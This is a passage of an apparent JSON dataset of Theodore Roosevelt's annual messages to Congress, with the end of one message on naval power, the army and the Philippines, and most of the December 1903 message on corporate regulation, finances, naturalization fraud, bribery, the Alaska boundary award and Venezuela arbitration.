upon behalf of peace would neither receive nor\ndeserve the slightest attention if we were impotent to make them good.The war which now unfortunately rages in the far East has emphasized in\nstriking fashion the new possibilities of naval warfare. The lessons\ntaught are both strategic and tactical, and are political as well as\nmilitary. The experiences of the war have shown in conclusive fashion\nthat while sea-going and sea-keeping torpedo destroyers are\nindispensable, and fast lightly armed and armored cruisers very useful,\nyet that the main reliance, the main standby, in any navy worthy the\nname must be the great battle ships, heavily armored and heavily\ngunned. Not a Russian or Japanese battle ship has been sunk by a\ntorpedo boat, or by gunfire, while among the less protected ships,\ncruiser after cruiser has been destroyed whenever the hostile squadrons\nhave gotten within range of one another's weapons. There will always be\na large field of usefulness for cruisers, especially of the more\nformidable type. We need to increase the number of torpedo-boat\ndestroyers, paying less heed to their having a knot or two extra speed\nthan to their capacity to keep the seas for weeks, and, if necessary,\nfor months at a time. It is wise to build submarine torpedo boats, as\nunder certain circumstances they might be very useful. But most of all\nwe need to continue building our fleet of battle ships, or ships so\npowerfully armed that they can inflict the maximum of damage upon our\nopponents, and so well protected that they can suffer a severe\nhammering in return without fatal impairment of their ability to fight\nand maneuver. Of course ample means must be provided for enabling the\npersonnel of the Navy to be brought to the highest point of efficiency.\nOur great fighting ships and torpedo boats must be ceaselessly trained\nand maneuvered in squadrons. The officers and men can only learn their\ntrade thoroughly by ceaseless practice on the high seas. In the event\nof war it would be far better to have no ships at all than to have\nships of a poor and ineffective type, or ships which, however good,\nwere yet manned by untrained and unskillful crews. The best officers\nand men in a poor ship could do nothing against fairly good opponents;\nand on the other hand a modern war ship is useless unless the officers\nand men aboard her have become adepts in their duties. The marksmanship\nin our Navy has improved in an extraordinary degree during the last\nthree years, and on the whole the types of our battleships are\nimproving; but much remains to be done. Sooner or later we shall have\nto provide for some method by which there will be promotions for merit\nas well as for seniority, or else retirement all those who after a\ncertain age have not advanced beyond a certain grade; while no effort\nmust be spared to make the service attractive to the enlisted men in\norder that they may be kept as long as possible in it. Reservation\npublic schools should be provided wherever there are navy-yards.Within the last three years the United States has set an example in\ndisarmament where disarmament was proper. By law our Army is fixed at a\nmaximum of one hundred thousand and a minimum of sixty thousand men.\nWhen there was insurrection in the Philippines we kept the Army at the\nmaximum. Peace came in the Philippines, and now our Army has been\nreduced to the minimum at which it is possible to keep it with due\nregard to its efficiency. The guns now mounted require twenty-eight\nthousand men, if the coast fortifications are to be adequately manned.\nRelatively to the Nation, it is not now so large as the police force of\nNew York or Chicago relatively to the population of either city. We\nneed more officers; there are not enough to perform the regular army\nwork. It is very important that the officers of the Army should be\naccustomed to handle their men in masses, as it is also important that\nthe National Guard of the several States should be accustomed to actual\nfield maneuvering, especially in connection with the regulars. For this\nreason we are to be congratulated upon the success of the field\nmaneuvers at Manassas last fall, maneuvers in which a larger number of\nRegulars and National Guard took part than was ever before assembled\ntogether in time of peace. No other civilized nation has, relatively to\nits population, such a diminutive Army as ours; and while the Army is\nso small we are not to be excused if we fail to keep it at a very high\ngrade of proficiency. It must be incessantly practiced; the standard\nfor the enlisted men should be kept very high, while at the same time\nthe service should be made as attractive as possible; and the standard\nfor the officers should be kept even higher--which, as regards the\nupper ranks, can best be done by introducing some system of selection\nand rejection into the promotions. We should be able, in the event of\nsome sudden emergency, to put into the field one first-class army\ncorps, which should be, as a whole, at least the equal of any body of\ntroops of like number belonging to any other nation.Great progress has been made in protecting our coasts by adequate\nfortifications with sufficient guns. We should, however, pay much more\nheed than at present to the development of an extensive system of\nfloating mines for use in all our more important harbors. These mines\nhave been proved to be a most formidable safeguard against hostile\nfleets.I earnestly call the attention of the Congress to the need of amending\nthe existing law relating to the award of Congressional medals of honor\nin the Navy so as to provide that they may be awarded to commissioned\nofficers and warrant officers as well as to enlisted men. These justly\nprized medals are given in the Army alike to the officers and the\nenlisted men, and it is most unjust that the commissioned officers and\nwarrant officers of the Navy should not in this respect have the same\nrights as their brethren in the Army and as the enlisted men of the\nNavy.In the Philippine Islands there has been during the past year a\ncontinuation of the steady progress which has obtained ever since our\ntroops definitely got the upper hand of the insurgents. The Philippine\npeople, or, to speak more accurately, the many tribes, and even races,\nsundered from one another more or less sharply, who go to make up the\npeople of the Philippine Islands, contain many elements of good, and\nsome elements which we have a right to hope stand for progress. At\npresent they are utterly incapable of existing in independence at all\nor of building up a civilization of their own. I firmly believe that we\ncan help them to rise higher and higher in the scale of civilization\nand of capacity for self-government, and I most earnestly hope that in\nthe end they will be able to stand, if not entirely alone, yet in some\nsuch relation to the United States as Cuba now stands. This end is not\nyet in sight, and it may be indefinitely postponed if our people are\nfoolish enough to turn the attention of the Filipinos away from the\nproblems of achieving moral and material prosperity, of working for a\nstable, orderly, and just government, and toward foolish and dangerous\nintrigues for a complete independence for which they are as yet totally\nunfit.On the other hand our people must keep steadily before their minds the\nfact that the justification for our stay in the Philippines must\nultimately rest chiefly upon the good we are able to do in the islands.\nI do not overlook the fact that in the development of our interests in\nthe Pacific Ocean and along its coasts, the Philippines have played and\nwill play an important part; and that our interests have been served in\nmore than one way by the possession of the islands. But our chief\nreason for continuing to hold them must be that we ought in good faith\nto try to do our share of the world's work, and this particular piece\nof work has been imposed upon us by the results of the war with Spain.\nThe problem presented to us in the Philippine Islands is akin to, but\nnot exactly like, the problems presented to the other great civilized\npowers which have possessions in the Orient. There are points of\nresemblance in our work to the work which is being done by the British\nin India and Egypt, by the French in Algiers, by the Dutch in Java, by\nthe Russians in Turkestan, by the Japanese in Formosa; but more\ndistinctly than any of these powers we are endeavoring to develop the\nnatives themselves so that they shall take an ever-increasing share in\ntheir own government, and as far as is prudent we are already admitting\ntheir representatives to a governmental equality with our own. There\nare commissioners, judges, and governors in the islands who are\nFilipinos and who have exactly the same share in the government of the\nislands as have their colleagues who are Americans, while in the lower\nranks, of course, the great majority of the public servants are\nFilipinos. Within two years we shall be trying the experiment of an\nelective lower house in the Philippine legislature. It may be that the\nFilipinos will misuse this legislature, and they certainly will misuse\nit if they are misled by foolish persons here at home into starting an\nagitation for their own independence or into any factious or improper\naction. In such case they will do themselves no good and will stop for\nthe time being all further effort to advance them and give them a\ngreater share in their own government. But if they act with wisdom and\nself-restraint, if they show that they are capable of electing a\nlegislature which in its turn is capable of taking a sane and efficient\npart in the actual work of government, they can rest assured that a\nfull and increasing measure of recognition will be given them. Above\nall they should remember that their prime needs are moral and\nindustrial, not political. It is a good thing to try the experiment of\ngiving them a legislature; but it is a far better thing to give them\nschools, good roads, railroads which will enable them to get their\nproducts to market, honest courts, an honest and efficient\nconstabulary, and all that tends to produce order, peace, fair dealing\nas between man and man, and habits of intelligent industry and thrift.\nIf they are safeguarded against oppression, and if their real wants,\nmaterial and spiritual, are studied intelligently and in a spirit of\nfriendly sympathy, much more good will be done them than by any effort\nto give them political power, though this effort may in its own proper\ntime and place be proper enough.Meanwhile our own people should remember that there is need for the\nhighest standard of conduct among the Americans sent to the Philippine\nIslands, not only among the public servants but among the private\nindividuals who go to them. It is because I feel this so deeply that in\nthe administration of these islands I have positively refused to permit\nany discrimination whatsoever for political reasons and have insisted\nthat in choosing the public servants consideration should be paid\nsolely to the worth of the men chosen and to the needs of the islands.\nThere is no higher body of men in our public service than we have in\nthe Philippine Islands under Governor Wright and his associates. So far\nas possible these men should be given a free hand, and their\nsuggestions should receive the hearty backing both of the Executive and\nof the Congress. There is need of a vigilant and disinterested support\nof our public servants in the Philippines by good citizens here in the\nUnited States. Unfortunately hitherto those of our people here at home\nwho have specially claimed to be the champions of the Filipinos have in\nreality been their worst enemies. This will continue to be the case as\nlong as they strive to make the Filipinos independent, and stop all\nindustrial development of the islands by crying out against the laws\nwhich would bring it on the ground that capitalists must not \"exploit\"\nthe islands. Such proceedings are not only unwise, but are most harmful\nto the Filipinos, who do not need independence at all, but who do need\ngood laws, good public servants, and the industrial development that\ncan only come if the investment, of American and foreign capital in the\nislands is favored in all legitimate ways.Every measure taken concerning the islands should be taken primarily\nwith a view to their advantage. We should certainly give them lower\ntariff rates on their exports to the United States; if this is not done\nit will be a wrong to extend our shipping laws to them. I earnestly\nhope for the immediate enactment into law of the legislation now\npending to encourage American capital to seek investment in the islands\nin railroads, in factories, in plantations, and in lumbering and\nmining.", 
+    "name": "Theodore Roosevelt"
+}
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+{
+    "date": "December 7, 1903", 
+    "speech": "To the Senate and House of Representatives:The country is to be congratulated on the amount of substantial\nachievement which has marked the past year both as regards our foreign\nand as regards our domestic policy.With a nation as with a man the most important things are those of the\nhousehold, and therefore the country is especially to be congratulated\non what has been accomplished in the direction of providing for the\nexercise of supervision over the great corporations and combinations of\ncorporations engaged in interstate commerce. The Congress has created\nthe Department of Commerce and Labor, including the Bureau of\nCorporations, with for the first time authority to secure proper\npublicity of such proceedings of these great corporations as the public\nhas the right to know. It has provided for the expediting of suits for\nthe enforcement of the Federal anti-trust law; and by another law it\nhas secured equal treatment to all producers in the transportation of\ntheir goods, thus taking a long stride forward in making effective the\nwork of the Interstate Commerce Commission.The establishment of the Department of Commerce and Labor, with the\nBureau of Corporations thereunder, marks a real advance in the\ndirection of doing all that is possible for the solution of the\nquestions vitally affecting capitalists and wage-workers. The act\ncreating Department was approved on February 14, 1903, and two days\nlater the head of the Department was nominated and confirmed by the\nSenate. Since then the work of organization has been pushed as rapidly\nas the initial appropriations permitted, and with due regard to\nthoroughness and the broad purposes which the Department is designed to\nserve. After the transfer of the various bureaus and branches to the\nDepartment at the beginning of the current fiscal year, as provided for\nin the act, the personnel comprised 1,289 employees in Washington and\n8,836 in the country at large. The scope of the Department's duty and\nauthority embraces the commercial and industrial interests of the\nNation. It is not designed to restrict or control the fullest liberty\nof legitimate business action, but to secure exact and authentic\ninformation which will aid the Executive in enforcing existing laws,\nand which will enable the Congress to enact additional legislation, if\nany should be found necessary, in order to prevent the few from\nobtaining privileges at the expense of diminished opportunities for the\nmany.The preliminary work of the Bureau of Corporations in the Department\nhas shown the wisdom of its creation. Publicity in corporate affairs\nwill tend to do away with ignorance, and will afford facts upon which\nintelligent action may be taken. Systematic, intelligent investigation\nis already developing facts the knowledge of which is essential to a\nright understanding of the needs and duties of the business world. The\ncorporation which is honestly and fairly organized, whose managers in\nthe conduct of its business recognize their obligation to deal squarely\nwith their stockholders, their competitors, and the public, has nothing\nto fear from such supervision. The purpose of this Bureau is not to\nembarrass or assail legitimate business, but to aid in bringing about a\nbetter industrial condition--a condition under which there shall be\nobedience to law and recognition of public obligation by all\ncorporations, great or small. The Department of Commerce and Labor will\nbe not only the clearing house for information regarding the business\ntransactions of the Nation, but the executive arm of the Government to\naid in strengthening our domestic and foreign markets, in perfecting\nour transportation facilities, in building up our merchant marine, in\npreventing the entrance of undesirable immigrants, in improving\ncommercial and industrial conditions, and in bringing together on\ncommon ground those necessary partners in industrial progress--capital\nand labor. Commerce between the nations is steadily growing in volume,\nand the tendency of the times is toward closer trade relations.\nConstant watchfulness is needed to secure to Americans the chance to\nparticipate to the best advantage in foreign trade; and we may\nconfidently expect that the new Department will justify the expectation\nof its creators by the exercise of this watchfulness, as well as by the\nbusinesslike administration of such laws relating to our internal\naffairs as are intrusted to its care.In enacting the laws above enumerated the Congress proceeded on sane\nand conservative lines. Nothing revolutionary was attempted; but a\ncommon-sense and successful effort was made in the direction of seeing\nthat corporations are so handled as to subserve the public good. The\nlegislation was moderate. It was characterized throughout by the idea\nthat we were not attacking corporations, but endeavoring to provide for\ndoing away with any evil in them; that we drew the line against\nmisconduct, not against wealth; gladly recognizing the great good done\nby the capitalist who alone, or in conjunction with his fellows, does\nhis work along proper and legitimate lines. The purpose of the\nlegislation, which purpose will undoubtedly be fulfilled, was to favor\nsuch a man when he does well, and to supervise his action only to\nprevent him from doing ill. Publicity can do no harm to the honest\ncorporation. The only corporation that has cause to dread it is the\ncorporation which shrinks from the light, and about the welfare of such\ncorporations we need not be oversensitive. The work of the Department\nof Commerce and Labor has been conditioned upon this theory, of\nsecuring fair treatment alike for labor and for capital.The consistent policy of the National Government, so far as it has the\npower, is to hold in check the unscrupulous man, whether employer or\nemployee; but to refuse to weaken individual initiative or to hamper or\ncramp the industrial development of the country. We recognize that this\nis an era of federation and combination, in which great capitalistic\ncorporations and labor unions have become factors of tremendous\nimportance in all industrial centers. Hearty recognition is given the\nfar-reaching, beneficent work which has been accomplished through both\ncorporations and unions, and the line as between different\ncorporations, as between different unions, is drawn as it is between\ndifferent individuals; that is, it is drawn on conduct, the effort\nbeing to treat both organized capital and organized labor alike; asking\nnothing save that the interest of each shall be brought into harmony\nwith the interest of the general public, and that the conduct of each\nshall conform to the fundamental rules of obedience to law, of\nindividual freedom, and of justice and fair dealing towards all.\nWhenever either corporation, labor union, or individual disregards the\nlaw or acts in a spirit of arbitrary and tyrannous interference with\nthe rights of others, whether corporations or individuals, then where\nthe Federal Government has jurisdiction, it will see to it that the\nmisconduct is stopped, paying not the slightest heed to the position or\npower of the corporation, the union or the individual, but only to one\nvital fact--that is, the question whether or not the conduct of the\nindividual or aggregate of individuals is in accordance with the law of\nthe land. Every man must be guaranteed his liberty and his right to do\nas he likes with his property or his labor, so long as he does not\ninfringe the rights of others. No man is above the law and no man is\nbelow it; nor do we ask any man's permission when we require him to\nobey it. Obedience to the law is demanded as a right; not asked as a\nfavor.We have cause as a nation to be thankful for the steps that have been\nso successfully taken to put these principles into effect. The progress\nhas been by evolution, not by revolution. Nothing radical has been\ndone; the action has been both moderate and resolute. Therefore the\nwork will stand. There shall be no backward step. If in the working of\nthe laws it proves desirable that they shall at any point be expanded\nor amplified, the amendment can be made as its desirability is shown.\nMeanwhile they are being administered with judgment, but with\ninsistence upon obedience to them, and their need has been emphasized\nin signal fashion by the events of the past year.From all sources, exclusive of the postal service, the receipts of the\nGovernment for the last fiscal year aggregated $560,396,674. The\nexpenditures for the same period were $506,099,007, the surplus for the\nfiscal year being $54,297,667. The indications are that the surplus for\nthe present fiscal year will be very small, if indeed there be any\nsurplus. From July to November the receipts from customs were,\napproximately, nine million dollars less than the receipts from the\nsame source for a corresponding portion of last year. Should this\ndecrease continue at the same ratio throughout the fiscal year, the\nsurplus would be reduced by, approximately, thirty million dollars.\nShould the revenue from customs suffer much further decrease during the\nfiscal year, the surplus would vanish. A large surplus is certainly\nundesirable. Two years ago the war taxes were taken off with the\nexpress intention of equalizing the governmental receipts and\nexpenditures, and though the first year thereafter still showed a\nsurplus, it now seems likely that a substantial equality of revenue and\nexpenditure will be attained. Such being the case it is of great moment\nboth to exercise care and economy in appropriations, and to scan\nsharply any change in our fiscal revenue system which may reduce our\nincome. The need of strict economy in our expenditures is emphasized by\nthe fact that we can not afford to be parsimonious in providing for\nwhat is essential to our national well-being. Careful economy wherever\npossible will alone prevent our income from falling below the point\nrequired in order to meet our genuine needs.The integrity of our currency is beyond question, and under present\nconditions it would be unwise and unnecessary to attempt a\nreconstruction of our entire monetary system. The same liberty should\nbe granted the Secretary of the Treasury to deposit customs receipts as\nis granted him in the deposit of receipts from other sources. In my\nMessage of December 2, 1902, I called attention to certain needs of the\nfinancial situation, and I again ask the consideration of the Congress\nfor these questions.During the last session of the Congress at the suggestion of a joint\nnote from the Republic of Mexico and the Imperial Government of China,\nand in harmony with an act of the Congress appropriating $25,000 to pay\nthe expenses thereof, a commission was appointed to confer with the\nprincipal European countries in the hope that some plan might be\ndevised whereby a fixed rate of exchange could be assured between the\ngold-standard countries and the silver-standard countries. This\ncommission has filed its preliminary report, which has been made\npublic. I deem it important that the commission be continued, and that\na sum of money be appropriated sufficient to pay the expenses of its\nfurther labors.A majority of our people desire that steps be taken in the interests of\nAmerican shipping, so that we may once more resume our former position\nin the ocean carrying trade. But hitherto the differences of opinion as\nto the proper method of reaching this end have been so wide that it has\nproved impossible to secure the adoption of any particular scheme.\nHaving in view these facts, I recommend that the Congress direct the\nSecretary of the Navy, the Postmaster-General, and the Secretary of\nCommerce and Labor, associated with such a representation from the\nSenate and House of Representatives as the Congress in its wisdom may\ndesignate, to serve as a commission for the purpose of investigating\nand reporting to the Congress at its next session what legislation is\ndesirable or necessary for the development of the American merchant\nmarine and American commerce, and incidentally of a national ocean mail\nservice of adequate auxiliary naval crusiers and naval reserves. While\nsuch a measure is desirable in any event, it is especially desirable at\nthis time, in view of the fact that our present governmental contract\nfor ocean mail with the American Line will expire in 1905. Our ocean\nmail act was passed in 1891. In 1895 our 20-knot transatlantic mail\nline was equal to any foreign line. Since then the Germans have put on\n23-knot, steamers, and the British have contracted for 24-knot\nsteamers. Our service should equal the best. If it does not, the\ncommercial public will abandon it. If we are to stay in the business it\nought to be with a full understanding of the advantages to the country\non one hand, and on the other with exact knowledge of the cost and\nproper methods of carrying it on. Moreover, lines of cargo ships are of\neven more importance than fast mail lines; save so far as the latter\ncan be depended upon to furnish swift auxiliary cruisers in time of\nwar. The establishment of new lines of cargo ships to South America, to\nAsia, and elsewhere would be much in the interest of our commercial\nexpansion.We can not have too much immigration of the right kind, and we should\nhave none at all of the wrong kind. The need is to devise some system\nby which undesirable immigrants shall be kept out entirely, while\ndesirable immigrants are properly distributed throughout the country.\nAt present some districts which need immigrants have none; and in\nothers, where the population is already congested, immigrants come in\nsuch numbers as to depress the conditions of life for those already\nthere. During the last two years the immigration service at New York\nhas been greatly improved, and the corruption and inefficiency which\nformerly obtained there have been eradicated. This service has just\nbeen investigated by a committee of New York citizens of high standing,\nMessrs. Arthur V. Briesen, Lee K. Frankel, Eugene A. Philbin, Thomas W.\nHynes, and Ralph Trautman. Their report deals with the whole situation\nat length, and concludes with certain recommendations for\nadministrative and legislative action. It is now receiving the\nattention of the Secretary of Commerce and Labor.The special investigation of the subject of naturalization under the\ndirection of the Attorney-General, and the consequent prosecutions\nreveal a condition of affairs calling for the immediate attention of\nthe Congress. Forgeries and perjuries of shameless and flagrant\ncharacter have been perpetrated, not only in the dense centers of\npopulation, but throughout the country; and it is established beyond\ndoubt that very many so-called citizens of the United States have no\ntitle whatever to that right, and are asserting and enjoying the\nbenefits of the same through the grossest frauds. It is never to be\nforgotten that citizenship is, to quote the words recently used by the\nSupreme Court of the United States, an \"inestimable heritage,\" whether\nit proceeds from birth within the country or is obtained by\nnaturalization; and we poison the sources of our national character and\nstrength at the fountain, if the privilege is claimed and exercised\nwithout right, and by means of fraud and corruption. The body politic\ncan not be sound and healthy if many of its constituent members claim\ntheir standing through the prostitution of the high right and calling\nof citizenship. It should mean something to become a citizen of the\nUnited States; and in the process no loophole whatever should be left\nopen to fraud.The methods by which these frauds--now under full investigation with a\nview to meting out punishment and providing adequate remedies--are\nperpetrated, include many variations of procedure by which false\ncertificates of citizenship are forged in their entirety; or genuine\ncertificates fraudulently or collusively obtained in blank are filled\nin by the criminal conspirators; or certificates are obtained on\nfraudulent statements as to the time of arrival and residence in this\ncountry; or imposition and substitution of another party for the real\npetitioner occur in court; or certificates are made the subject of\nbarter and sale and transferred from the rightful holder to those not\nentitled to them; or certificates are forged by erasure of the original\nnames and the insertion of the names of other persons not entitled to\nthe same.It is not necessary for me to refer here at large to the causes leading\nto this state of affairs. The desire for naturalization is heartily to\nbe commended where it springs from a sincere and permanent intention to\nbecome citizens, and a real appreciation of the privilege. But it is a\nsource of untold evil and trouble where it is traceable to selfish and\ndishonest motives, such as the effort by artificial and improper means,\nin wholesale fashion to create voters who are ready-made tools of\ncorrupt politicians, or the desire to evade certain labor laws creating\ndiscriminations against alien labor. All good citizens, whether\nnaturalized or native born, are equally interested in protecting our\ncitizenship against fraud in any form, and, on the other hand, in\naffording every facility for naturalization to those who in good faith\ndesire to share alike our privileges and our responsibilities.The Federal grand jury lately in session in New York City dealt with\nthis subject and made a presentment which states the situation briefly\nand forcibly and contains important suggestions for the consideration\nof the Congress. This presentment is included as an appendix to the\nreport of the Attorney-General.In my last annual Message, in connection with the subject of the due\nregulation of combinations of capital which are or may become injurious\nto the public, I recommend a special appropriation for the better\nenforcement of the antitrust law as it now stands, to be extended under\nthe direction of the Attorney-General. Accordingly (by the legislative,\nexecutive, and judicial appropriation act of February 25, 1903, 32\nStat., 854, 904), the Congress appropriated, for the purpose of\nenforcing the various Federal trust and interstate-commerce laws, the\nsum of five hundred thousand dollars, to be expended under the\ndirection of the Attorney-General in the employment of special counsel\nand agents in the Department of Justice to conduct proceedings and\nprosecutions under said laws in the courts of the United States. I now\nrecommend, as a matter of the utmost importance and urgency, the\nextension of the purposes of this appropriation, so that it may be\navailable, under the direction of the Attorney-General, and until used,\nfor the due enforcement of the laws of the United States in general and\nespecially of the civil and criminal laws relating to public lands and\nthe laws relating to postal crimes and offenses and the subject of\nnaturalization. Recent investigations have shown a deplorable state of\naffairs in these three matters of vital concern. By various frauds and\nby forgeries and perjuries, thousands of acres of the public domain,\nembracing lands of different character and extending through various\nsections of the country, have been dishonestly acquired. It is hardly\nnecessary to urge the importance of recovering these dishonest\nacquisitions, stolen from the people, and of promptly and duly\npunishing the offenders. I speak in another part of this Message of the\nwidespread crimes by which the sacred right of citizenship is falsely\nasserted and that \"inestimable heritage\" perverted to base ends. By\nsimilar means--that is, through frauds, forgeries, and perjuries, and\nby shameless briberies--the laws relating to the proper conduct of the\npublic service in general and to the due administration of the\nPost-Office Department have been notoriously violated, and many\nindictments have been found, and the consequent prosecutions are in\ncourse of hearing or on the eve thereof. For the reasons thus\nindicated, and so that the Government may be prepared to enforce\npromptly and with the greatest effect the due penalties for such\nviolations of law, and to this end may be furnished with sufficient\ninstrumentalities and competent legal assistance for the investigations\nand trials which will be necessary at many different points of the\ncountry, I urge upon the Congress the necessity of making the said\nappropriation available for immediate use for all such purposes, to be\nexpended under the direction of the Attorney-General.Steps have been taken by the State Department looking to the making of\nbribery an extraditable offense with foreign powers. The need of more\neffective treaties covering this crime is manifest. The exposures and\nprosecutions of official corruption in St. Louis, Mo., and other cities\nand States have resulted in a number of givers and takers of bribes\nbecoming fugitives in foreign lands. Bribery has not been included in\nextradition treaties heretofore, as the necessity for it has not\narisen. While there may have been as much official corruption in former\nyears, there has been more developed and brought to light in the\nimmediate past than in the preceding century of our country's history.\nIt should be the policy of the United States to leave no place on earth\nwhere a corrupt man fleeing from this country can rest in peace. There\nis no reason why bribery should not be included in all treaties as\nextraditable. The recent amended treaty with Mexico, whereby this crime\nwas put in the list of extraditable offenses, has established a\nsalutary precedent in this regard. Under this treaty the State\nDepartment has asked, and Mexico has granted, the extradition of one of\nthe St. Louis bribe givers.There can be no crime more serious than bribery. Other offenses violate\none law while corruption strikes at the foundation of all law. Under\nour form of Government all authority is vested in the people and by\nthem delegated to those who represent them in official capacity. There\ncan be no offense heavier than that of him in whom such a sacred trust\nhas been reposed, who sells it for his own gain and enrichment; and no\nless heavy is the offense of the bribe giver. He is worse than the\nthief, for the thief robs the individual, while the corrupt official\nplunders an entire city or State. He is as wicked as the murderer, for\nthe murderer may only take one life against the law, while the corrupt\nofficial and the man who corrupts the official alike aim at the\nassassination of the commonwealth itself. Government of the people, by\nthe people, for the people will perish from the face of the earth if\nbribery is tolerated. The givers and takers of bribes stand on an evil\npre-eminence of infamy. The exposure and punishment of public\ncorruption is an honor to a nation, not a disgrace. The shame lies in\ntoleration, not in correction. No city or State, still less the Nation,\ncan be injured by the enforcement of law. As long as public plunderers\nwhen detected can find a haven of refuge in any foreign land and avoid\npunishment, just so long encouragement is given them to continue their\npractices. If we fail to do all that in us lies to stamp out corruption\nwe can not escape our share of responsibility for the guilt. The first\nrequisite of successful self-government is unflinching enforcement of\nthe law and the cutting out of corruption.For several years past the rapid development of Alaska and the\nestablishment of growing American interests in regions theretofore\nunsurveyed and imperfectly known brought into prominence the urgent\nnecessity of a practical demarcation of the boundaries between the\njurisdictions of the United States and Great Britain. Although the\ntreaty of 1825 between Great Britain and Russia, the provisions of\nwhich were copied in the treaty of 1867, whereby Russia conveyed Alaska\nto the United States, was positive as to the control, first by Russia\nand later by the United States, of a strip of territory along the\ncontinental mainland from the western shore of Portland Canal to Mount\nSt. Elias, following and surrounding the indentations of the coast and\nincluding the islands to the westward, its description of the landward\nmargin of the strip was indefinite, resting on the supposed existence\nof a continuous ridge or range of mountains skirting the coast, as\nfigured in the charts of the early navigators. It had at no time been\npossible for either party in interest to lay down, under the authority\nof the treaty, a line so obviously exact according to its provisions as\nto command the assent of the other. For nearly three-fourths of a\ncentury the absence of tangible local interests demanding the exercise\nof positive jurisdiction on either side of the border left the question\ndormant. In 1878 questions of revenue administration on the Stikine\nRiver led to the establishment of a provisional demarcation, crossing\nthe channel between two high peaks on either side about twenty-four\nmiles above the river mouth. In 1899 similar questions growing out of\nthe extraordinary development of mining interests in the region about\nthe head of Lynn Canal brought about a temporary modus vivendi, by\nwhich a convenient separation was made at the watershed divides of the\nWhite and Chilkoot passes and to the north of Klukwan, on the Klehini\nRiver. These partial and tentative adjustments could not, in the very\nnature of things, be satisfactory or lasting. A permanent disposition\nof the matter became imperative.After unavailing attempts to reach an understanding through a Joint\nHigh Commission, followed by prolonged negotiations, conducted in an\namicable spirit, a convention between the United States and Great\nBritain was signed, January 24, 1903, providing for an examination of\nthe subject by a mixed tribunal of six members, three on a side, with a\nview to its final disposition. Ratifications were exchanged on March 3\nlast, whereupon the two Governments appointed their respective members.\nThose on behalf of the United States were Elihu Root, Secretary of War,\nHenry Cabot Lodge, a Senator of the United States, and George Turner,\nan ex-Senator of the United States, while Great Britain named the Right\nHonourable Lord Alverstone, Lord Chief Justice of England, Sir Louis\nAmable Jette, K. C. M. G., retired judge of the Supreme Court of\nQuebec, and A. B. Aylesworth, K. C., of Toronto. This Tribunal met in\nLondon on September 3, under the Presidency of Lord Alverstone. The\nproceedings were expeditious, and marked by a friendly and\nconscientious spirit. The respective cases, counter cases, and\narguments presented the issues clearly and fully. On the 20th of\nOctober a majority of the Tribunal reached and signed an agreement on\nall the questions submitted by the terms of the Convention. By this\naward the right of the United States to the control of a continuous\nstrip or border of the mainland shore, skirting all the tide-water\ninlets and sinuosities of the coast, is confirmed; the entrance to\nPortland Canal (concerning which legitimate doubt appeared) is defined\nas passing by Tongass Inlet and to the northwestward of Wales and\nPearse islands; a line is drawn from the head of Portland Canal to the\nfifty-sixth degree of north latitude; and the interior border line of\nthe strip is fixed by lines connecting certain mountain summits lying\nbetween Portland Canal and Mount St. Elias, and running along the crest\nof the divide separating the coast slope from the inland watershed at\nthe only part of the frontier where the drainage ridge approaches the\ncoast within the distance of ten marine leagues stipulated by the\ntreaty as the extreme width of the strip around the heads of Lynn Canal\nand its branches.While the line so traced follows the provisional demarcation of 1878 at\nthe crossing of the Stikine River, and that of 1899 at the summits of\nthe White and Chilkoot passes, it runs much farther inland from the\nKlehini than the temporary line of the later modus vivendi, and leaves\nthe entire mining district of the Porcupine River and Glacier Creek\nwithin the jurisdiction of the United States.The result is satisfactory in every way. It is of great material\nadvantage to our people in the Far Northwest. It has removed from the\nfield of discussion and possible danger a question liable to become\nmore acutely accentuated with each passing year. Finally, it has\nfurnished a signal proof of the fairness and good will with which two\nfriendly nations can approach and determine issues involving national\nsovereignty and by their nature incapable of submission to a third\npower for adjudication.The award is self-executing on the vital points. To make it effective\nas regards the others it only remains for the two Governments to\nappoint, each on its own behalf, one or more scientific experts, who\nshall, with all convenient speed, proceed together to lay down the\nboundary line in accordance with the decision of the majority of the\nTribunal. I recommend that the Congress make adequate provision for the\nappointment, compensation, and expenses of the members to serve on this\njoint boundary commission on the part of the United States.It will be remembered that during the second session of the last\nCongress Great Britain, Germany, and Italy formed an alliance for the\npurpose of blockading the ports of Venezuela and using such other means\nof pressure as would secure a settlement of claims due, as they\nalleged, to certain of their subjects. Their employment of force for\nthe collection of these claims was terminated by an agreement brought\nabout through the offices of the diplomatic representatives of the\nUnited States at Caracas and the Government at Washington, thereby\nending a situation which was bound to cause increasing friction, and\nwhich jeoparded the peace of the continent. Under this agreement\nVenezuela agreed to set apart a certain percentage of the customs\nreceipts of two of her ports to be applied to the payment of whatever\nobligations might be ascertained by mixed commissions appointed for\nthat purpose to be due from her, not only to the three powers already\nmentioned, whose proceedings against her had resulted in a state of\nwar, but also to the United States, France, Spain, Belgium, the\nNetherland Sweden and Norway, and Mexico, who had not employed force\nfor the collection of the claims alleged to be due to certain of their\ncitizens.A demand was then made by the so-called blockading powers that the sums\nascertained to be due to their citizens by such mixed commissions\nshould be accorded payment in full before anything was paid upon the\nclaims of any of the so-called peace powers. Venezuela, on the other\nhand, insisted that all her creditors should be paid upon a basis of\nexact equality. During the efforts to adjust this dispute it was\nsuggested by the powers in interest that it should be referred to me\nfor decision, but I was clearly of the opinion that a far wiser course\nwould be to submit the question to the Permanent Court of Arbitration\nat The Hague. It seemed to me to offer an admirable opportunity to\nadvance the practice of the peaceful settlement of disputes between\nnations and to secure for the Hague Tribunal a memorable increase of\nits practical importance. The nations interested in the controversy\nwere so numerous and in many instances so powerful as to make it\nevident that beneficent results would follow from their appearance at\nthe same time before the bar of that august tribunal of peace.Our hopes in that regard have been realized. Russia and Austria are\nrepresented in the persons of the learned and distinguished jurists who\ncompose the Tribunal, while Great Britain, Germany, France, Spain,\nItaly, Belgium, the Netherlands, Sweden and Norway, Mexico, the United\nStates, and Venezuela are represented by their respective agents and\ncounsel. Such an imposing concourse of nations presenting their\narguments to and invoking the decision of that high court of\ninternational justice and international peace can hardly fail to secure\na like submission of many future controversies. The nations now\nappearing there will find it far easier to appear there a second time,\nwhile no nation can imagine its just pride will be lessened by\nfollowing the example now presented. This triumph of the principle of\ninternational arbitration is a subject of warm congratulation and\noffers a happy augury for the peace of the world.There seems good ground for the belief that there has been a real\ngrowth among the civilized nations of a sentiment which will permit a\ngradual substitution of other methods than the method of war in the\nsettlement of disputes. It is not pretended that as yet we are near a\nposition in which it will be possible wholly to prevent war, or that a\njust regard for national interest and honor will in all cases permit of\nthe settlement of international disputes by arbitration; but by a\nmixture of prudence and firmness with wisdom we think it is possible to\ndo away with much of the provocation and excuse for 